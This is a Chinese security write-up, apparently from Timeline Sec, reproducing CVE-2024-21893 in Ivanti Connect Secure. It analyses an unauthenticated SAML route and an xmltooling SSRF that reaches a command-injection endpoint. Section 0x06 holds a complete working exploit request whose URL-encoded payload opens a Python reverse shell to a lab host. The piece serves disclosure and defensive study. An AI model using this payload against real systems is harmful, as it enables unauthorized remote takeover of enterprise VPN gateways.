CVE-2024-21893:Ivanti Connect Secure SSRF to RCE

admin 2024年3月21日23:50:05评论36 views字数 3516阅读11分43秒阅读模式

关注我们❤️,添加星标🌟,一起学安全!
作者:七安@Timeline Sec
本文字数:1656
阅读时长:2~4min
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负

0x01 简介

Ivanti Connect Secure 为远程和移动用户提供了一个无缝的、具有成本效益的SSL VPN 解决方案,使他们能随时随地从任何可上网的设备访问企业资源。

0x02 漏洞概述

漏洞编号:CVE-2024-21893
CVE-2024-21893 是存在 Ivanti Connect Secure SAML 组件中的 SSRF 漏洞,该漏洞主要是由于使用存在漏洞第三方库,并且第三方库没有及时的更新导致的,可以绕过 CVE-2024-21887 命令注入漏洞的补丁,达到未授权 RCE 的目的。

0x03 影响版本

Ivanti Connect Secure(9.x、22.x)
Ivanti Policy Secure(9.x、22.x)
Ivanti Neurons for ZTA SAML组件(这个只能SSRF)

0x04 环境搭建

本次复现使用 Ivanti Connect Secure 22.6R2.1 (build 2487)版本并导入缓解措施 mitigation.release.20240107.1.xml

下载虚拟机版本的 Ivanti Connect Secure,导入虚拟机中

CVE-2024-21893:Ivanti Connect Secure SSRF to RCE

这里需要等带一下,等待系统解压安装完成,完成安装之后按照如下配置进行初始化:

CVE-2024-21893:Ivanti Connect Secure SSRF to RCE

随后新建管理员

CVE-2024-21893:Ivanti Connect Secure SSRF to RCE

创建管理员完成

CVE-2024-21893:Ivanti Connect Secure SSRF to RCE

进入系统自带的 shell 界面

CVE-2024-21893:Ivanti Connect Secure SSRF to RCE

访问 https://ip/admin 进入后台导入 mitigation.release.20240107.1.xml 缓解措施

CVE-2024-21893:Ivanti Connect Secure SSRF to RCE

mitigation.release.20240107.1.xml 缓解措施主要是对 CVE-2023-46805 和 CVE-2024-21887 的缓解,该措施禁止访问存在漏洞的接口。

0x05 漏洞分析

获取 shell 可以参考这篇博客里面提到的方法 https://labs.watchtowr.com/welcome-to-2024-the-sslvpn-chaos-continues-ivanti-cve-2023-46805-cve-2024-21887/

获取 shell 之后进入 /home/bin 目录,执行 python -m SimpleHTTPServer 8899 启动 http 服务,下载 web 和 saml-server 二进制文件, 下载之后将 web 放入 IDA 中进行分析,找到路由 /dana-ws/saml20.ws,是没有鉴权的,还有一些没有鉴权的路由如下:

CVE-2024-21893:Ivanti Connect Secure SSRF to RCE

接着来看对 /dana-ws/saml20.ws 路由请求的处理

CVE-2024-21893:Ivanti Connect Secure SSRF to RCE

这里会匹配 /dana-ws/saml20.ws/dana-ws/saml.ws, /dana-ws/samlecp.ws 再接收到请求后由 doDispatchRequest 转发到 saml-server 中处理

CVE-2024-21893:Ivanti Connect Secure SSRF to RCE

saml-server 中由 createXMLObjectFromSoapMessage 函数将 soap 数据换成 xml 数据,最后由 xmltooling 库进行处理,而 xmltools 在 3.2.4 以下的版本是存在一个 SSRF 漏洞,该漏洞可以通过构造 KeyInfo 来实现SSRF。在本次复现的环境中使用的 xmltooling 版本为 3.2.0

CVE-2024-21893:Ivanti Connect Secure SSRF to RCE

因此完整的利用链如下:

  1. 构造一个带 KeyInfo 的 SOAP 信封发送到 /dana-ws/saml20.ws
  2. 在内部由 web 服务器将请求转发到 saml-server 上,saml-server 会调用 xmltooling 库解析 xml 数据
  3. 由于 xmltooling 存在 SSRF 漏洞,伪造请求访问 http://127.0.0.1:8090/api/v1/license/keys-status/,绕过了缓解措施 mitigation.release.20240107.1.xml
  4. /api/v1/license/keys-status/ 存在命令注入,可以执行系统任意命令

0x06 漏洞利用

POC验证

POST /dana-ws/saml20.ws HTTP/1.1
Host: 192.168.0.190
Sec-Ch-Ua-Platform-Version: "13.6.4"
Sec-Ch-Ua-Mobile: ?0
Content-Type: text/xml
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 1157

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
 <soap:Body>
  <ds:Signature
  xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
   <ds:SignedInfo>
    <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
    <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
   </ds:SignedInfo>
   <ds:SignatureValue>qwerty</ds:SignatureValue>
   <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
    <ds:RetrievalMethod URI="http://127.0.0.1:8090/api/v1/license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22192%2E168%2E0%2E133%22%2C8899%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B"/>
    <ds:X509Data/>
   </ds:KeyInfo>
   <ds:Object></ds:Object>
  </ds:Signature>
 </soap:Body>
</soap:Envelope>

利用结果如下:

CVE-2024-21893:Ivanti Connect Secure SSRF to RCE

0x07 修复建议

Ivanti 已发布补丁,请及时升级版本或缓解措施

参考链接

https://attackerkb.com/topics/FGlK1TVnB2/cve-2024-21893/rapid7-analysis
https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805/rapid7-analysis
https://xz.aliyun.com/t/13322

推荐服务

CVE-2024-21893:Ivanti Connect Secure SSRF to RCE

后台功能

回复【1】领取新人学习资料
回复【
2】进入漏洞查询功能
回复【
3】获取加群方式

回复【4】进入SRC-QQ交流群

商务合作

Timeline Sec团队可合作项目清单

原文始发于微信公众号(Timeline Sec):CVE-2024-21893:Ivanti Connect Secure SSRF to RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月21日23:50:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-21893:Ivanti Connect Secure SSRF to RCEhttps://cn-sec.com/archives/2593941.html

发表评论

匿名网友 填写信息